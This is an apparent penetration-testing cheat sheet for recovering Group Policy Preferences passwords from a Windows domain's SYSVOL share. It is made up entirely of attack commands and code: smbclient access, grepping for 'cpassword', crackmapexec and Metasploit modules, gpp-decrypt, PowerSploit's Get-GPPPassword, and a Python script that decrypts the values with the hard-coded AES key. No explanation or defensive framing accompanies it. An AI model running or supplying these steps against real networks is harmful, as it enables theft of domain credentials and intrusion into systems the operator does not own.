GPP Passwords

smbclient //DC_IP/SYSVOL -U 'user%password'

find /mnt/sysvol -name "*.xml" -exec grep -l "cpassword" {} \;

crackmapexec smb DC_IP -u user -p password -M gpp_password

use auxiliary/scanner/smb/smb_enum_gpp
set RHOSTS DC_IP
set SMBUser user
set SMBPass password
run

gpp-decrypt "ENCRYPTED_CPASSWORD"

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = bytes.fromhex("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b")
iv = b'\x00' * 16
cpassword = "CPASSWORD_HERE"
cpassword += "=" * (-len(cpassword) % 4)   # GPP strips base64 padding — re-add it
enc = base64.b64decode(cpassword)
cipher = AES.new(key, AES.MODE_CBC, iv)
print(unpad(cipher.decrypt(enc), AES.block_size).decode('utf-16-le'))

Import-Module .\Get-GPPPassword.ps1
Get-GPPPassword